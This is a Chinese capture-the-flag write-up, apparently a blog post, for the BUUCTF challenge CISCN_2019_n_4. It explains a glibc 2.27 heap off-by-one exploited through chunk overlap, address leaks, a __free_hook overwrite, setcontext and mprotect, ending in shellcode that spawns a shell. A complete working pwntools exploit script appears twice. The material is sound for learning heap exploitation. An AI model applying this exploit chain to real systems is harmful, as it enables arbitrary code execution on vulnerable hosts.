[buuctf] CISCN_2019_n_4题解

[buuctf] CISCN_2019_n_4 WriteUp

这道题基于ubuntu18默认的glibc是libc-2.27,可以在github上自行下载libc.

题目描述:

我们先看主要逻辑

可以看到,程序逻辑比较简单,就是一个经典的菜单题。分析一下漏洞点 

 

可以发现,在编辑函数中有一个off-by-one。

思路整理:

整理思路:

先使用off-by-one制造chunk overlapping,然后因为堆指针直接存放在堆上,所以我们直接通过溢出改写指针,达到任意写和任意读,因为one-gadget用不了,所以我这边采用了setcontext+mprotect的方式执行堆上的shellcode。另外libc2.27采用了Tcache机制,所以为了绕过Tcache把libc基地址泄露出来,我们需要连续释放几个chunk才行。最后让free_hook 调用setcontext再调用mprotect最后调用shellcode。

申请堆块:

    add(0x88,b"\x00")
	add(0x18,b"\x00")
	add(0x88,b"\x00")
	for i in range(7):
		add(0x88,b"\x00")

off-by-one:

    edit(0,b"\x00"*0x88+b"\x61")
	free(1)
	add(0x58,b"\x00"*32+p64(0xffff)+b"\x58")

这里我们就拿到了堆中的一个指针控制权,我们继续构造泄露堆地址

    recv=show(1)
	recv=recv[:-1]
	fastbin=u64(recv.ljust(8,b"\x00"))
	heap_base=fastbin-0xc0-0x60
	unsort_heap=heap_base+0x30
	print(hex(heap_base))

然后是连续释放,让最后一个chunk进入unsorted bin

    edit(1,p64(heap_base+0xc0))
	edit(2,b"\x00"*32+p64(0xffff)+p64(heap_base+0xc0)+p64(0)+p64(0x21)+p64(0x88)+b"\x70")
	edit(1,b"\x00"*24+p64(0x21)+p64(0xffff))
	free(3)
	free(2)
	for i in range(4,10,1):
		free(i)
	free(0)
	edit(1,b"\x00"*24+p64(0x21)+p64(0xffff)+p64(unsort_heap))

获取libc基地址:

    recv=show(1)
	unsorted=recv[:-1]
	unsorted=u64(unsorted.ljust(8,b"\x00"))
	libc_base=unsorted-unsorted_offset
	print(hex(libc_base))
	free_hook=libc_base+libc.symbols['__free_hook']
	print(hex(free_hook))
	one_gadget=libc_base+one_gadget_offset
	print(hex(one_gadget))
	setcontext=libc_base+libc.symbols['setcontext']+53
	print(hex(setcontext))
	mprotect=libc_base+libc.symbols['mprotect']
	print(hex(mprotect))

最后构造payload(里面包含上次文章的FSOP的构造,但是懒得改,所以就小改了一下,凑合着用)

    heap_addr=heap_base
	for i in range(7):
		add(0x88,b"\x00")
	edit(1,b"\x00"*0xb0+p64(0xffff)+p64(free_hook)+p64(0)*2+p64(0xffff))
	edit(1,p64(setcontext))
	stream=p64(0x00000000fbad208b)#magic
	stream=stream.ljust(_IO_write_base_offset,b"\x00")#0x20
	stream+=p64(0x0)#_IO_write_base#0x18
	stream+=p64(0x1)#_IO_write_ptr
	#setcontext [rdi+0xa0]=rsp [rdi+0xa8]=rip [rdi+0x68]=rdi [rdi+0x70]=rsi [rdi+0x88]=rdx
	stream=stream.ljust(0x68,b"\x00")
	stream+=p64(heap_addr-0x250)
	stream=stream.ljust(0x70,b"\x00")
	stream+=p64(0x1000)
	stream=stream.ljust(0x88,b"\x00")
	stream+=p64(0x7)
	stream=stream.ljust(0xa0,b"\x00")
	rsp=heap_addr+0x100+0x100
	stream+=p64(rsp)
	stream+=p64(mprotect)
	#set stream
	stream=stream.ljust(_mode_offset,b"\x00")
	stream+=p64(0x0)#_mode=0xc0
	stream=stream.ljust(vtable_offset,b"\x00")
	vtable_ptr=heap_base+0x100+len(stream)+0x8
	stream+=p64(vtable_ptr)#vtable ptr=0xd8
	payload=stream
	vtable=p64(heap_addr+0x100+816+0x8-0xa0)+b"\x00"*_IO_OVERFLOW_offset*0x10#0x18
	vtable+=p64(setcontext)
	payload+=vtable
	#set jump addr
	payload+=p64(heap_addr+0x100+len(payload)+0x8)

最后将payload读入堆中:

    payload+=bytes(asm(shellcraft.sh()))
	#print payload and check it
	print(hexdump(payload))
	edit(6,payload)

最后的最后调用free函数即可:

    ru(b"Your choice :")
	send(b"4")
	ru(b"Index :")
	send(b"6")
	#gdb.attach(p)
	p.interactive()

结束,拿下flag

完整exp

完整exp:

from pwn import *
elf=ELF('./ciscn_2019_n_4_2.27')

p=process("./ciscn_2019_n_4_2.27")

#p=remote("node5.buuoj.cn",29469)
libc=ELF("/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")#/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6
one_gadget_offset=939255
unsorted_offset=0x3ebca0
vtable_offset=0xd8
_IO_OVERFLOW_offset=0x18
_IO_write_base_offset=0x20
_IO_write_ptr_offset=0x28#_IO_write_base<_IO_write_ptr
_mode_offset=0xc0#<=0
context.arch="amd64"
context.os="linux"
def send(msg):
	p.send(msg)
def ru(msg):
	p.recvuntil(msg)
def add(size,content):
	ru(b"Your choice :")
	send(b"1")
	ru(b"how big is the nest ?")
	send(str(size))
	ru(b"what stuff you wanna put in the nest?")
	send(content)
	ru(b"Thx buddy.\n")
	log.success("add a chunk")
def edit(idx,content):
	ru(b"Your choice :")
	send(b"2")
	ru(b"Index :")
	send(str(idx))
	ru(b"what stuff you wanna put in the nest?")
	send(content)
	ru(b"Done !\n")
	log.success("edit a chunk id="+str(idx))
def free(idx):
	ru(b"Your choice :")
	send(b"4")
	ru(b"Index :")
	send(str(idx))
	ru(b"Now another w0odpeck3r lost his house :(\n")
	log.success("free a chunk id="+str(idx))
def show(idx):
	ru(b"Your choice :")
	send(b"3")
	ru(b"Index :")
	send(str(idx))
	ru(b"Decorations : ")
	recv=p.recvline()
	print(recv)
	ru(b"Done !\n")
	log.success("show a chunk id="+str(idx))
	return recv
if __name__ == "__main__":
	add(0x88,b"\x00")
	add(0x18,b"\x00")
	add(0x88,b"\x00")
	for i in range(7):
		add(0x88,b"\x00")
	edit(0,b"\x00"*0x88+b"\x61")
	free(1)
	add(0x58,b"\x00"*32+p64(0xffff)+b"\x58")
	recv=show(1)
	recv=recv[:-1]
	fastbin=u64(recv.ljust(8,b"\x00"))
	heap_base=fastbin-0xc0-0x60
	unsort_heap=heap_base+0x30
	print(hex(heap_base))
	edit(1,p64(heap_base+0xc0))
	edit(2,b"\x00"*32+p64(0xffff)+p64(heap_base+0xc0)+p64(0)+p64(0x21)+p64(0x88)+b"\x70")
	edit(1,b"\x00"*24+p64(0x21)+p64(0xffff))
	free(3)
	free(2)
	for i in range(4,10,1):
		free(i)
	free(0)
	edit(1,b"\x00"*24+p64(0x21)+p64(0xffff)+p64(unsort_heap))
	recv=show(1)
	unsorted=recv[:-1]
	unsorted=u64(unsorted.ljust(8,b"\x00"))
	libc_base=unsorted-unsorted_offset
	print(hex(libc_base))
	free_hook=libc_base+libc.symbols['__free_hook']
	print(hex(free_hook))
	one_gadget=libc_base+one_gadget_offset
	print(hex(one_gadget))
	setcontext=libc_base+libc.symbols['setcontext']+53
	print(hex(setcontext))
	mprotect=libc_base+libc.symbols['mprotect']
	print(hex(mprotect))
	heap_addr=heap_base
	for i in range(7):
		add(0x88,b"\x00")
	edit(1,b"\x00"*0xb0+p64(0xffff)+p64(free_hook)+p64(0)*2+p64(0xffff))
	edit(1,p64(setcontext))
	stream=p64(0x00000000fbad208b)#magic
	stream=stream.ljust(_IO_write_base_offset,b"\x00")#0x20
	stream+=p64(0x0)#_IO_write_base#0x18
	stream+=p64(0x1)#_IO_write_ptr
	#setcontext [rdi+0xa0]=rsp [rdi+0xa8]=rip [rdi+0x68]=rdi [rdi+0x70]=rsi [rdi+0x88]=rdx
	stream=stream.ljust(0x68,b"\x00")
	stream+=p64(heap_addr-0x250)
	stream=stream.ljust(0x70,b"\x00")
	stream+=p64(0x1000)
	stream=stream.ljust(0x88,b"\x00")
	stream+=p64(0x7)
	stream=stream.ljust(0xa0,b"\x00")
	rsp=heap_addr+0x100+0x100
	stream+=p64(rsp)
	stream+=p64(mprotect)
	#set stream
	stream=stream.ljust(_mode_offset,b"\x00")
	stream+=p64(0x0)#_mode=0xc0
	stream=stream.ljust(vtable_offset,b"\x00")
	vtable_ptr=heap_base+0x100+len(stream)+0x8
	stream+=p64(vtable_ptr)#vtable ptr=0xd8
	payload=stream
	vtable=p64(heap_addr+0x100+816+0x8-0xa0)+b"\x00"*_IO_OVERFLOW_offset*0x10#0x18
	vtable+=p64(setcontext)
	payload+=vtable
	#set jump addr
	payload+=p64(heap_addr+0x100+len(payload)+0x8)
	print(len(payload))
	#sandbox escape;set shellcode.You must set arch and os !!!
	payload+=bytes(asm(shellcraft.sh()))
	#print payload and check it
	print(hexdump(payload))
	edit(6,payload)
	ru(b"Your choice :")
	send(b"4")
	ru(b"Index :")
	send(b"6")
	#gdb.attach(p)
	p.interactive()

exp可行性测试

本地:

远程:

 

flag为动态 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值